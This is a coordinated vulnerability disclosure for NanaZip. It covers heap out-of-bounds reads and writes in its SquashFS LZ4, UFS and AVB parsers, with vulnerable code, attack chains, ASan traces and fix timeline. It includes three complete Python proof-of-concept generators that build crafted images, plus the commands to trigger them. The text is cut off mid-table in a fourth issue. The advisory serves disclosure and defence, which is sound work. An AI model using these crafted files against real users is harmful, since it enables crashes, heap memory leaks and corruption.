Coordinated Disclosure Timeline
- 2026-04-21: The vulnerabilities were reported through GitHub private vulnerability reporting.
- 2026-04-25: v6.0.1698.0 with the fixes was released.
- 2026-04-26: A pull request with fuzzing support for the project was created.
- 2026-04-27: The advisories were published in the repository.
Summary
The NanaZip project contains multiple security vulnerabilities, including out-of-bounds (OOB) reads and writes in various file systems (SquashFS, UFS, AVB), null pointer dereference, stack exhaustion, divide-by-zero errors, and unbounded memory allocation, which could lead to potential exploitation or application instability.
Project
NanaZip
Tested Version
Details
issue 1: Heap out-of-bounds read in NanaZip SquashFS LZ4 decompressor via unchecked negative return value (GHSL-2026-124)
A heap out-of-bounds read exists in the SquashFS LZ4 decompression wrapper in NanaZip. The Lz4Decode function only rejects a return value of zero from LZ4_decompress_safe, but that function returns negative values on error. The negative return is assigned to an unsigned SizeT, producing a huge value (~2⁶⁴) that propagates through the decompression pipeline, ultimately allowing an attacker-controlled memcpy to read past the end of a heap buffer during fragment extraction. This enables information disclosure (heap contents leak into extracted files) or a process crash.
The Lz4Decode wrapper (lines 1138–1151, 7-Zip ZS Modification) calls LZ4_decompress_safe and only rejects a return value of zero:
static HRESULT Lz4Decode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen)
{
const char *Src = (const char *)src;
char *Dst = (char *)dest;
int compressedSize = (int)*srcLen;
int dstCapacity = (int)*destLen;
int rv = LZ4_decompress_safe(Src, Dst, compressedSize, dstCapacity);
if (rv == 0) // ← BUG: only rejects 0, not negative values
return S_FALSE;
*destLen = rv; // ← negative int → huge SizeT (e.g. 0xFFFFFFFFFFFFFFFF)
return S_OK;
}
Per the LZ4 API contract, LZ4_decompress_safe returns:
- Positive: number of bytes decompressed (success)
- Zero: should not occur for non-empty input
- Negative: error (malformed input)
The wrapper also never writes back to *srcLen, so the caller’s “all input consumed” sanity check (inSize != srcLen at line 1370) is always satisfied for LZ4.
Propagation through Decompress
In the outBuf code path (used by ReadBlock), after Lz4Decode returns S_OK with a huge destLen (line 1375):
*outBufWasWrittenSize = (UInt32)destLen; // truncates to 0xFFFFFFFF
Sink: ReadBlock fragment extraction
_cachedUnpackBlockSize = outBufWasWrittenSize; // = 0xFFFFFFFF
// Later, during fragment read:
offsetInBlock = node.Offset; // attacker-controlled, from inode
if (offsetInBlock + blockSize > _cachedUnpackBlockSize) // passes: anything ≤ 0xFFFFFFFF
return S_FALSE;
memcpy(dest, _cachedBlock + offsetInBlock, blockSize); // OOB read
_cachedBlock is allocated at _h.BlockSize bytes (≤ 2²³ = 8 MiB, clamped at line 271). The attacker controls offsetInBlock via the on-disk inode Offset field (CNode::Parse4, line 730), so they can read from any offset past _cachedBlock up to the 0xFFFFFFFF boundary. The read data is returned as the extracted file contents — an information-disclosure primitive that leaks adjacent heap memory.
Attack chain
- Attacker crafts a SquashFS image with
compressor = LZ4(method 5) - One fragment’s compressed payload is malformed so
LZ4_decompress_safereturns negative - A regular-file inode references that fragment with
Offset = N(attacker-chosen, up to 2³²) - Victim extracts the file in NanaZip
memcpy(dest, _cachedBlock + N, fileSize)readsfileSizebytes starting at offsetNpast the 8 MiB cache buffer → heap contents appear in the extracted file
Impact
- The SquashFS handler is registered for
.squashfs,.sfsand is enabled in all NanaZip builds. - The LZ4 code path is a 7-Zip ZS modification enabled by
#define kMethod_LZ4 5(inside ZS modification markers). - The vulnerability triggers during file extraction (
Extract→ReadBlock), requiring the user to extract at least one file. - Information disclosure: Adjacent heap contents (up to megabytes) are copied into the extracted file. The attacker controls the read offset via the inode
Offsetfield, enabling targeted heap probing. - Denial of Service: If
offsetInBlockpoints past mapped memory, thememcpyfaults. - No write primitive.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L — 7.1 (High)
The high confidentiality impact reflects attacker-controlled heap read offset (up to 2³²) with data flowing into extracted files.
Affected versions: All NanaZip releases shipping the SquashFS handler with enabled LZ4 support (inherited from 7-Zip ZS).
Why stock 7-Zip is not affected
The Lz4Decode function and the kMethod_LZ4 define are both inside // **************** 7-Zip ZS Modification Start/End **************** markers. In upstream 7-Zip, kMethod_LZ4 is commented out (line 76: // #define kMethod_LZ4 5), so the LZ4 code path is dead code. NanaZip inherited the LZ4 support from 7-Zip ZS.
CWEs
- CWE-125: “Out-of-bounds Read”
Resources
PoC generator:
A 325-byte crafted SquashFS image with LZ4 compression triggers the vulnerability during extraction.
#!/usr/bin/env python3
"""Generate a SquashFS v4.0 image with LZ4 compression and a malformed
fragment block that causes LZ4_decompress_safe to return negative,
triggering the Lz4Decode bug"""
import sys
import struct
class Inode:
def __init__(self):
self.type = b''
self.mode = b''
self.uid = b''
self.gid = b''
self.mtime = b''
self.inode_number = b''
def to_bytes(self):
return self.type + self.mode + self.uid + self.gid + self.mtime + self.inode_number
class InodeDirectory(Inode):
def __init__(self):
self.block_index = b''
self.link_count = b''
self.size = b''
self.block_offset = b''
self.parent_inode = b''
def to_bytes(self):
return super().to_bytes() + self.block_index + self.link_count + self.size + self.block_offset + self.parent_inode
class InodeFile(Inode):
def __init__(self):
self.block_start = b''
self.frag_index = b''
self.block_offset = b''
self.file_size = b''
def to_bytes(self):
return super().to_bytes() + self.block_start + self.frag_index + self.block_offset + self.file_size
class DirEntry:
def __init__(self):
self.offset = b''
self.inode_offset = b''
self.inode_type = b''
self.name_len = b''
self.name = b''
def to_bytes(self):
return self.offset + self.inode_offset + self.inode_type + self.name_len + self.name
class Level:
def __init__(self):
self.count = b''
self.start = b''
self.inode_number = b''
self.entries = []
def to_bytes(self):
return self.count + self.start + self.inode_number + b''.join([e.to_bytes() for e in self.entries])
def add_entry(self, entry):
self.entries.append(entry)
def node_offset(inodes, index):
offset = 0
for i in range(index):
offset += len(inodes[i].to_bytes())
return offset
block_size = 8192
block_log = 13
mkfs_time = 1731081379
flags = 451 # UNCOMPRESSED_FRAGMENTS bit cleared
compression = 5 # LZ4 (kMethod_LZ4)
fragments = 1
no_ids = 1
levels = []
level = Level()
entry = DirEntry()
entry.offset = b'\x00\x00'
entry.inode_offset = b'\x00\x00'
entry.inode_type = b'\x02\x00'
entry.name_len = struct.pack('<H', 0)
entry.name = b'\x63'
level.add_entry(entry)
level.count = struct.pack('<I', 0)
level.start = b'\x00\x00\x00\x00'
level.inode_number = b'\x03\x00\x00\x00'
levels.append(level)
level = Level()
entry = DirEntry()
entry.offset = b'\x00\x00'
entry.inode_offset = b'\x01\x00'
entry.inode_type = b'\x01\x00'
entry.name_len = struct.pack('<H', 1)
entry.name = b'\x62\x62'
level.add_entry(entry)
level.count = struct.pack('<I', 0)
level.start = b'\x00\x00\x00\x00'
level.inode_number = b'\x01\x00\x00\x00'
levels.append(level)
inodes = []
# File inode: frag=0, offset=0x4000 (past BlockSize!), size=4
inode = InodeFile()
inode.type = b'\x02\x00'
inode.mode = b'\xb4\x01'
inode.uid = b'\x00\x00'
inode.gid = b'\x00\x00'
inode.mtime = b'\x40\xcd\x04\x67'
inode.inode_number = b'\x03\x00\x00\x00'
inode.block_start = b'\x00\x00\x00\x00'
inode.frag_index = b'\x00\x00\x00\x00' # fragment 0
inode.block_offset = b'\x00\x40\x00\x00' # offset 0x4000 — OOB trigger
inode.file_size = b'\x04\x00\x00\x00' # 4 bytes
inodes.append(inode)
inode = InodeDirectory()
inode.type = b'\x01\x00'
inode.mode = b'\xfd\x01'
inode.uid = b'\x00\x00'
inode.gid = b'\x00\x00'
inode.mtime = b'\x42\xcd\x04\x67'
inode.inode_number = b'\x02\x00\x00\x00'
inode.block_index = b'\x00\x00\x00\x00'
inode.link_count = b'\x02\x00\x00\x00'
inode.size = b'\x00\x00'
inode.block_offset = b'\x00\x00'
inode.parent_inode = b'\x04\x00\x00\x00'
inodes.append(inode)
root_inode = sum(len(item.to_bytes()) for item in inodes)
inode = InodeDirectory()
inode.type = b'\x01\x00'
inode.mode = b'\xfd\x01'
inode.uid = b'\x00\x00'
inode.gid = b'\x00\x00'
inode.mtime = b'\x07\xcd\x04\x67'
inode.inode_number = b'\x04\x00\x00\x00'
inode.block_index = b'\x00\x00\x00\x00'
inode.link_count = b'\x03\x00\x00\x00'
inode.size = b'\x00\x00'
inode.block_offset = b'\x00\x00'
inode.parent_inode = b'\x05\x00\x00\x00'
inodes.append(inode)
inodes[1].size = struct.pack('<H', len(levels[0].to_bytes()) + 3)
inodes[2].size = struct.pack('<H', len(levels[1].to_bytes()) + 3)
inodes[2].block_offset = struct.pack('<H', len(levels[0].to_bytes()))
inode_table = b''.join(item.to_bytes() for item in inodes)
inode_table = struct.pack('<H', len(inode_table) | 1 << 15) + inode_table
levels[0].entries[0].offset = struct.pack('<H', node_offset(inodes, 0))
levels[1].entries[0].offset = struct.pack('<H', node_offset(inodes, 1))
directory_table = b''.join(l.to_bytes() for l in levels)
directory_table = struct.pack('<H', len(directory_table) | 1 << 15) + directory_table
# Malformed LZ4 fragment: causes LZ4_decompress_safe to return negative
fragment_data = b'\xFF\xFF\xFF\xFF'
fragment_data_offset = 96
fragment_table = struct.pack('<Q', fragment_data_offset)
fragment_table += struct.pack('<I', len(fragment_data))
fragment_table += b'\x00\x00\x00\x00'
fragment_table = struct.pack('<H', len(fragment_table) | 1 << 15) + fragment_table
export_table = (b'\x20\x80\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00'
b'\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x00\x00'
b'\x00\x00\x35\x01\x00\x00\x00\x00\x00\x00')
id_table_pre = b'\xe8\x03\x00\x00'
id_table_pre = struct.pack('<H', len(id_table_pre) | 1 << 15) + id_table_pre
it_start = 96 + len(fragment_data)
dt_start = it_start + len(inode_table)
ft_start = dt_start + len(directory_table)
fi_start = ft_start + len(fragment_table)
lk_start = fi_start + len(export_table)
fi_idx = struct.pack('<Q', ft_start)
ip_start = lk_start + len(fi_idx)
id_start = ip_start + len(id_table_pre)
bytes_used = id_start + no_ids * 8
out = sys.stdout.buffer if len(sys.argv) < 2 else open(sys.argv[1], 'wb')
out.write(b'hsqs')
out.write(struct.pack('<I', len(inodes)))
out.write(struct.pack('<I', mkfs_time))
out.write(struct.pack('<I', block_size))
out.write(struct.pack('<I', fragments))
out.write(struct.pack('<H', compression))
out.write(struct.pack('<H', block_log))
out.write(struct.pack('<H', flags))
out.write(struct.pack('<H', no_ids))
out.write(struct.pack('<HH', 4, 0))
out.write(struct.pack('<Q', root_inode))
out.write(struct.pack('<Q', bytes_used))
out.write(struct.pack('<Q', id_start))
out.write(struct.pack('<Q', 0xFFFFFFFFFFFFFFFF))
out.write(struct.pack('<Q', it_start))
out.write(struct.pack('<Q', dt_start))
out.write(struct.pack('<Q', fi_start))
out.write(struct.pack('<Q', lk_start))
out.write(fragment_data)
out.write(inode_table)
out.write(directory_table)
out.write(fragment_table)
out.write(fi_idx)
out.write(export_table)
out.write(id_table_pre)
out.write(struct.pack('<Q', ip_start))
if out is not sys.stdout.buffer:
out.close()
print(f"Written {bytes_used} bytes to {sys.argv[1]}")
Triggering:
python gen_squashfs_lz4_poc.py poc_sfs_lz4.sfs
NanaZip.Universal.Console.exe x poc_sfs_lz4.sfs -oOutput -y
Verification
ASan-confirmed. The PoC triggers a heap-buffer-overflow on extraction:
==33996==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x119c39ea6900
at pc 0x7ffcfc2e64b7 bp 0x001cfafbd980 sp 0x001cfafbd110
READ of size 4 at 0x119c39ea6900 thread T0
#0 _asan_memcpy clang_rt.asan_dynamic-x86_64.dll
#1 NArchive::NSquashfs::CHandler::ReadBlock
SquashfsHandler.cpp:2261
#2 NArchive::NSquashfs::CSquashfsInStream::ReadBlock
SquashfsHandler.cpp:2194
#3 CCachedInStream::Read StreamObjects.cpp:250
#4 NCompress::CCopyCoder::Code CopyCoder.cpp:63
#5 NArchive::NSquashfs::CHandler::Extract
SquashfsHandler.cpp:2341
Address is a wild pointer inside of access range of size 0x4.
SUMMARY: AddressSanitizer: heap-buffer-overflow
SquashfsHandler.cpp:2261 in NArchive::NSquashfs::CHandler::ReadBlock
Debugger-confirmed intermediate state: Tracing with cdb shows Decompress returns S_OK with outBufWasWrittenSize = 0xFFFFFFFE (from LZ4_decompress_safe returning -2, cast to UInt32 via SizeT). This causes _cachedUnpackBlockSize = 0xFFFFFFFE, which passes the bounds check at line 2259 (offsetInBlock + blockSize > _cachedUnpackBlockSize). The subsequent memcpy at line 2261 reads 4 bytes at offset 0x4000 past the 8192-byte _cachedBlock allocation — a heap-buffer-overflow.
Verification status
| Method | Result |
|---|---|
| ASan console extract | heap-buffer-overflow at SquashfsHandler.cpp:2261 |
| cdb Debug build trace | outBufWasWrittenSize = 0xFFFFFFFE confirmed |
| Source review | Lz4Decode returns S_OK for negative LZ4_decompress_safe return |
issue 2: Heap out-of-bounds write in NanaZip UFS directory parser (GHSL-2026-125)
A one-byte heap out-of-bounds null write exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS filesystem image. The attacker controls the byte offset of the write within a ~254-byte window past the heap allocation boundary.
The function GetAllPaths in NanaZip.Codecs.Archive.Ufs.cpp parses UFS directory blocks by iterating over variable-length struct direct entries. Each entry has a d_reclen (record length) and d_namlen (name length) field. The code null-terminates the name at d_name[NameLength] without verifying that offsetof(d_name) + NameLength + 1 fits within the record or within the allocated buffer.
The directory data buffer is allocated as std::vector<std::uint8_t> Buffer(ActualSize) where ActualSize = BlockOffsetsCount * BlockSize. The parsing loop uses EndOffset = Information.FileSize as the iteration bound. When FileSize equals ActualSize (which occurs whenever the inode’s file size is a multiple of the block size), the buffer has no trailing slack bytes — making the out-of-bounds write reach into adjacent heap allocations.
Three validation checks exist but are insufficient:
// NanaZip.Codecs.Archive.Ufs.cpp — GetAllPaths()
// Check 1 (line 612): only ensures 9 bytes remain for the entry header
if (EndOffset < CurrentOffset + MinimumDirectoryEntrySize)
return false;
// Check 2 (lines 623-624): bounds RecordLength against EndOffset
std::uint16_t RecordLength = this->ReadUInt16(&Current->d_reclen);
if (MinimumDirectoryEntrySize > RecordLength ||
EndOffset < CurrentOffset + RecordLength)
return false;
// Check 3 (line 631): bounds NameLength against UFS_MAXNAMLEN (255)
std::uint8_t NameLength = this->ReadUInt8(&Current->d_namlen);
if (UFS_MAXNAMLEN < NameLength)
return false;
// Line 636 — VULNERABLE WRITE: no check that d_name + NameLength is in bounds
Current->d_name[NameLength] = '\0';
Source: NanaZip.Codecs.Archive.Ufs.cpp:605-636
Missing check: Neither offsetof(d_name) + NameLength + 1 <= RecordLength (the canonical UFS invariant, matching how FreeBSD validates d_namlen) nor CurrentOffset + offsetof(d_name) + NameLength < Buffer.size() is verified before the write.
Worst-case out-of-bounds offset
A crafted image can place a directory entry at CurrentOffset = EndOffset - 9 with d_reclen = 9 (minimum valid) and d_namlen = 255 (maximum allowed). The null-terminator write then targets:
Buffer[(EndOffset - 9) + 8 + 255] = Buffer[EndOffset + 254]
When EndOffset == Buffer.size(), this writes a 0x00 byte 254 bytes past the end of the heap allocation. The exact offset within the 0..254 byte window is attacker-controlled via NameLength and the position of the malicious entry.
Struct layout
The struct direct definition from FreeBSD/dir.h:80-87:
#define UFS_MAXNAMLEN 255
struct direct {
uint32_t d_ino; /* +0: inode number */
uint16_t d_reclen; /* +4: record length */
uint8_t d_type; /* +6: file type */
uint8_t d_namlen; /* +7: name length */
char d_name[UFS_MAXNAMLEN + 1]; /* +8: name (256 bytes) */
};
offsetof(direct, d_name) == 8. The code writes at Buffer[CurrentOffset + 8 + NameLength], which can exceed both the record and the buffer.
Impact
- The UFS handler is registered for file extensions
ufs,ufs2, andimg. - The MSIX manifest declares a wildcard file association, enabling format autodetection.
- The vulnerability triggers during
IInArchive::Open(), before any user interaction beyond opening the file. - Denial of Service: Corrupting heap metadata causes a crash on subsequent heap operations (free, alloc), producing an immediate application crash.
- Potential heap corruption primitive: On the Windows NT heap, overwriting the LSB of an adjacent allocation’s size field or freelist pointer with
0x00can alter allocation behavior. Combined with heap grooming, this may be leverageable into a more powerful primitive, though demonstrating code execution is beyond the scope of this report.
This vulnerability allows an attacker to write a single null byte at a controlled offset (0 to 254 bytes) past a heap buffer allocation in the NanaZip process.
Mitigations in place
NanaZip enables several Win32 exploit mitigations (CFG, CET shadow stack, no-remote-images, child-process restriction, dynamic-code restriction) that raise the bar for converting a single-byte heap OOB into code execution, but they do not prevent the heap corruption itself.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L — 5.4 (Medium)
Affected versions: Since 5.0.1250.0 (2025-02-01), the first release shipping the UFS handler.
CWEs
- CWE-787: “Out-of-bounds Write”
Resources
PoC generator:
A crafted 128 KiB UFS1 filesystem image triggers the vulnerability. The image contains:
- A UFS1 superblock at offset 8192 with
fs_magic = 0x011954,fs_bsize = 4096 - A root directory inode (inode 2) with
di_size = 4096(equal to block size → no buffer slack) and one direct block pointer - A directory data block with two entries:
- Entry 1 at offset 0:
".",d_reclen = 4087(filler to advance the loop) - Entry 2 at offset 4087:
d_reclen = 9,d_namlen = 255(triggers OOB write atBuffer[4350], 254 bytes past the 4096-byte allocation)
- Entry 1 at offset 0:
Image generator
#!/usr/bin/env python3
"""Generate a crafted UFS1 image."""
import struct, os
FS_UFS1_MAGIC = 0x011954
SBLOCK_UFS1, SBLOCKSIZE, BLOCK_SIZE = 8192, 8192, 4096
UFS_ROOTINO, IFDIR, DT_DIR = 2, 0o040000, 4
IMAGE_SIZE = 128 * 1024
def w16(buf, off, v): struct.pack_into('<H', buf, off, v)
def w32(buf, off, v): struct.pack_into('<i', buf, off, v)
def wu32(buf, off, v): struct.pack_into('<I', buf, off, v)
def w64(buf, off, v): struct.pack_into('<q', buf, off, v)
def wu64(buf, off, v): struct.pack_into('<Q', buf, off, v)
img = bytearray(IMAGE_SIZE)
sb = SBLOCK_UFS1
# Superblock
w32(img, sb+16, 4) # fs_iblkno
w32(img, sb+40, 100) # fs_old_dsize
wu32(img, sb+44, 1) # fs_ncg
w32(img, sb+48, BLOCK_SIZE) # fs_bsize
w32(img, sb+52, BLOCK_SIZE) # fs_fsize
w32(img, sb+56, 1) # fs_frag
w32(img, sb+104, SBLOCKSIZE)# fs_sbsize
wu32(img, sb+184, 16) # fs_ipg
w32(img, sb+188, 100) # fs_fpg
w64(img, sb+1000, SBLOCK_UFS1) # fs_sblockloc
w32(img, sb+1320, 60) # fs_maxsymlinklen
w32(img, sb+1372, FS_UFS1_MAGIC)
# Root inode at offset 16640
ri = 4 * BLOCK_SIZE + UFS_ROOTINO * 128
w16(img, ri, IFDIR | 0o755) # di_mode
w16(img, ri+2, 2) # di_nlink
wu64(img, ri+8, BLOCK_SIZE) # di_size == BlockSize (no slack!)
w32(img, ri+40, 8) # di_db[0] → fragment 8
# Directory data at offset 32768
dd = 8 * BLOCK_SIZE
wu32(img, dd, UFS_ROOTINO) # entry 1: d_ino
w16(img, dd+4, 4087) # entry 1: d_reclen (skip to offset 4087)
img[dd+6] = DT_DIR; img[dd+7] = 1; img[dd+8] = ord('.')
mal = dd + 4087 # entry 2: malicious
wu32(img, mal, 3) # d_ino
w16(img, mal+4, 9) # d_reclen = 9 (minimum)
img[mal+6] = 0 # d_type
img[mal+7] = 255 # d_namlen = 255 (maximum)
img[mal+8] = ord('X') # d_name[0]
with open('poc_ufs_directory.img', 'wb') as f:
f.write(img)
Triggering:
NanaZip.Universal.Console.exe l poc_ufs_directory.img
Verification
When NanaZip is compiled with AddressSanitizer (/p:EnableASAN=true):
=================================================================
==35904==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x117f1c5a761e
at pc 0x7ffc8aae7c3a bp 0x00291d95ca70 sp 0x00291d95ca70
WRITE of size 1 at 0x117f1c5a761e thread T0
#0 NanaZip::Codecs::Archive::Ufs::GetAllPaths
NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:636
#1 NanaZip::Codecs::Archive::Ufs::Open
NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:794
#2 CArc::OpenStream2 OpenArchive.cpp:1978
#3 CArc::OpenStream OpenArchive.cpp:3027
#4 CArc::OpenStreamOrFile OpenArchive.cpp:3122
#5 CArchiveLink::Open OpenArchive.cpp:3298
#6 CArchiveLink::Open2 OpenArchive.cpp:3422
#7 ListArchives List.cpp:1191
#8 Main2 Main.cpp:1568
#9 main MainAr.cpp:170
0x117f1c5a761e is located 247 bytes after 4135-byte region
[0x117f1c5a6500,0x117f1c5a7527)
allocated by thread T0 here:
#0 operator new asan_win_new_scalar_thunk.cpp:40
#1 std::vector<unsigned char>::vector
NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:590
SUMMARY: AddressSanitizer: heap-buffer-overflow
NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:636
in NanaZip::Codecs::Archive::Ufs::GetAllPaths
issue 3: Heap out-of-bounds read in NanaZip AVB property descriptor parser via unsigned integer underflow (GHSL-2026-126)
A heap out-of-bounds read exists in the Android Verified Boot (AVB) vbmeta image parser in NanaZip (via the upstream 7-Zip AvbHandler). An unsigned integer underflow in a bounds check allows an attacker-controlled value_num_bytes field to pass validation, causing AddNameToString to read up to ~4 GiB past the end of a 64 KiB heap buffer. This causes a crash (denial of service) when opening a crafted .avb or .img file.
The function CHandler::Open2 parses AVB descriptors from a vbmeta block. For property descriptors (AVB_DESCRIPTOR_TAG_PROPERTY), it reads attacker-controlled key_num_bytes and value_num_bytes fields (both UInt64, big-endian) and validates them against the descriptor’s descSize (unsigned).
The first bounds check (for the key) is safe. The second bounds check (for the value) contains an unsigned integer underflow (lines 430–451):
else if (desc.Tag == AVB_DESCRIPTOR_TAG_PROPERTY)
{
if (descSize < k_PropertyDescriptor_Size_Min + 2) // descSize >= 18
return S_FALSE;
AvbPropertyDescriptor pt;
pt.Parse(buf + offset);
unsigned pos = k_PropertyDescriptor_Size_Min; // pos = 16
// CHECK 1 (line 438): Safe — descSize-17 >= 1, no underflow
if (pt.key_num_bytes > descSize - pos - 1)
return S_FALSE;
AString key;
AddNameToString(key, buf + offset + pos, (unsigned)pt.key_num_bytes, false);
pos += (unsigned)pt.key_num_bytes + 1; // pos can reach descSize
// CHECK 2 (line 444): Only rejects pos > descSize, allows pos == descSize
if (descSize < pos)
return S_FALSE;
// CHECK 3 (line 446): UNDERFLOW when pos == descSize
if (pt.value_num_bytes > descSize - pos - 1) // 0u - 1 = 0xFFFFFFFF
return S_FALSE;
// OOB READ: size ≈ 4 GiB, starting at end of descriptor
AString value;
AddNameToString(value, buf + offset + pos, (unsigned)pt.value_num_bytes, false);
Exploit chain
- Attacker sets
desc.Size = Swhere18 ≤ S ≤ rem(e.g.,S = 18). - Attacker sets
key_num_bytes = S - 17(maximum value passing the line 438 check). - After key consumption:
pos = 16 + (S - 17) + 1 = S = descSize. - Line 444:
descSize < pos→S < S→ false (equality not rejected). - Line 446:
descSize - pos - 1=S - S - 1=0u - 1=0xFFFFFFFF(unsigned underflow). - Attacker sets
value_num_bytes = 0xFFFFFFFE→0xFFFFFFFE ≤ 0xFFFFFFFF→ check passes. AddNameToStringreadssize ≈ 4 GiBstarting atbuf + offset + descSize(past the descriptor, into adjacent heap memory).
Reachable memory
The buf buffer is allocated to exactly Footer.vbmeta_size, capped to VBMETA_MAX_SIZE = 64 KiB. AddNameToString iterates byte-by-byte, copying each byte into an AString until it hits a NUL byte or exhausts the size parameter:
static void AddNameToString(AString &s, const Byte *name, unsigned size, ...)
{
for (unsigned i = 0; i < size; i++)
{
Byte c = name[i];
if (c == 0) return;
// ...
s += (char)c;
}
}
With size ≈ 4 GiB and the buffer being only 64 KiB, the read deterministically walks past the heap allocation and across unmapped pages, causing an access violation.
Impact
- The AVB handler is registered with
REGISTER_ARC_I_NO_SIGfor.avband.imgfile extensions. - NanaZip’s MSIX manifest declares wildcard file association (
<uap10:FileType>*</uap10:FileType>), enabling format autodetection. - The vulnerability triggers during
IInArchive::Open(), before any user interaction beyond opening the file. - Denial of Service: A crash of the NanaZip process. The read walks ~4 GiB past a 64 KiB buffer, guaranteed to hit unmapped memory.
- Limited information disclosure: The OOB-read bytes are appended into a local
AString valuethat is discarded (never surfaced through the COM interface). No practical info-leak vector. - No write primitive.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L — 5.4 (Medium)
Affected versions: Since 3.0.1000.0 (2024-05-27), the first release shipping the AVB handler.
Why 7-Zip is not affected
AvbHandler.cpp is upstream 7-Zip code (identical to 7-Zip 26.00) but 7-Zip deliberately excludes this handler from the shipping 7z.dll build:
- In
Arc_gcc.mak,AvbHandler.ois commented out. - In the MSVC
Arc.mak,AvbHandleris absent fromAR_OBJS.
NanaZip enables it by including AvbHandler.cpp in NanaZip.Core.vcxproj. The REGISTER_ARC_I_NO_SIG macro auto-activates it on compilation.
CWEs
- CWE-191: “Integer Underflow (Wrap or Wraparound)”
- CWE-125: “Out-of-bounds Read”
Resources
PoC generator:
A crafted vbmeta image (~64 KiB + 64-byte footer) triggers the vulnerability:
#!/usr/bin/env python3
"""Generate a crafted AVB vbmeta image that triggers heap OOB read."""
import struct
VBMETA_MAX = 64 * 1024
FOOTER_SIZE = 64
VBMETA_HEADER_SIZE = 256
def w_be32(v): return struct.pack('>I', v)
def w_be64(v): return struct.pack('>Q', v)
# Build vbmeta block
# Layout: header(256) + desc_header(16) + prop_fields(16) + key(1) + NUL(1) = 290
vbmeta = bytearray(VBMETA_HEADER_SIZE + 16 + 16 + 1 + 1)
# AVB0 header — field offsets match AvbVBMetaImageHeader::Parse()
vbmeta[0:4] = b'AVB0'
struct.pack_into('>I', vbmeta, 4, 1) # +4: required_libavb_version_major = 1
struct.pack_into('>Q', vbmeta, 12, 0) # +12: authentication_data_block_size = 0
struct.pack_into('>Q', vbmeta, 20, 0) # +20: auxiliary_data_block_size = 0
# +28..95: algorithm_type, hash/sig/pubkey offsets = 0 (zeros)
struct.pack_into('>Q', vbmeta, 96, 0) # +96: descriptors_offset = 0
struct.pack_into('>Q', vbmeta, 104, 16 + 18) # +104: descriptors_size = 34
# Descriptor at offset 256 (after vbmeta header)
desc_off = VBMETA_HEADER_SIZE
struct.pack_into('>Q', vbmeta, desc_off + 0, 0) # Tag = PROPERTY (0)
struct.pack_into('>Q', vbmeta, desc_off + 8, 18) # Size = 18
# Property descriptor body at desc_off + 16
prop_off = desc_off + 16
struct.pack_into('>Q', vbmeta, prop_off + 0, 1) # key_num_bytes = 1 (= 18-17)
struct.pack_into('>Q', vbmeta, prop_off + 8, 0xFFFFFFFE) # value_num_bytes (triggers OOB)
# Key byte at prop_off+16 (offset 288), NUL separator at prop_off+17 (offset 289)
# These are within the initial bytearray — critical that no zero padding follows
vbmeta[prop_off + 16] = ord('k') # 1 key byte
vbmeta[prop_off + 17] = 0 # NUL separator
# Fill remaining bytes with non-zero (0x41) so AddNameToString does not
# stop early at a NUL in the zero-initialized tail of the buffer.
# Fill MUST start immediately after the NUL separator (offset 290).
FILL = 512
vbmeta.extend(b'A' * FILL)
vbmeta_size = len(vbmeta)
# Build footer
footer = bytearray(FOOTER_SIZE)
footer[0:4] = b'AVBf'
struct.pack_into('>I', footer, 4, 1) # version_major = 1
struct.pack_into('>Q', footer, 12, vbmeta_size + FOOTER_SIZE) # original_image_size
struct.pack_into('>Q', footer, 20, 0) # vbmeta_offset = 0
struct.pack_into('>Q', footer, 28, vbmeta_size) # vbmeta_size
img = vbmeta + footer
with open('poc_avb_oob_read.img', 'wb') as f:
f.write(img)
print(f'Written {len(img)}-byte image')
print(f' vbmeta_size: {vbmeta_size}')
print(f' Property descriptor: key_num_bytes=1, value_num_bytes=0xFFFFFFFE')
print(f' Unsigned underflow: descSize(18) - pos(18) - 1 = 0xFFFFFFFF')
Triggering:
NanaZip.Universal.Console.exe l poc_avb_oob_read.img
Verification
Without AddressSanitizer, the OOB read may silently hit a NUL byte in adjacent heap memory and return without crashing. Use the ASan-instrumented build for reliable detection.
When NanaZip is compiled with AddressSanitizer (ReleaseAsan configuration):
==40756==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x1290343a13a2
at pc 0x7ffc27c93542 bp 0x00813c0fc450 sp 0x00813c0fc458
READ of size 1 at 0x1290343a13a2 thread T0
#0 NArchive::NAvb::AddNameToString
NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:37
#1 NArchive::NAvb::CHandler::Open2
NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:449
#2 NArchive::NAvb::CHandler::Open
NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:472
issue 4: Heap out-of-bounds read in NanaZip AVB hashtree descriptor parser via 32-bit unsigned integer overflow (GHSL-2026-127)
A heap out-of-bounds read exists in the Android Verified Boot (AVB) vbmeta image parser in NanaZip (via the upstream 7-Zip AvbHandler). A 32-bit unsigned integer overflow in the bounds check pos + ht.salt_len > descSize allows an attacker-controlled salt_len field to bypass validation, causing CByteBuffer::CopyFrom to memcpy up to ~4 GiB past the end of a 64 KiB heap buffer. This causes a deterministic crash (denial of service) when opening a crafted .avb or .img file.
Relationship to GHSL-2026-126
This vulnerability is in the same file as GHSL-2026-126 (AVB property descriptor OOB read) but in a different code path:
| GHSL-2026-126 (property) | This finding (hashtree) | |
|---|---|---|
| Descriptor type | AVB_DESCRIPTOR_TAG_PROPERTY (line 430) |
AVB_DESCRIPTOR_TAG_HASHTREE (line 403) |
| Bug pattern | Unsigned subtraction underflow: descSize - pos - 1 |
Unsigned addition overflow: pos + len wraps mod 2³² |
| Vulnerable check | pt.value_num_bytes > descSize - pos - 1 (line 446) |
pos + ht.salt_len > descSize (line 417) |
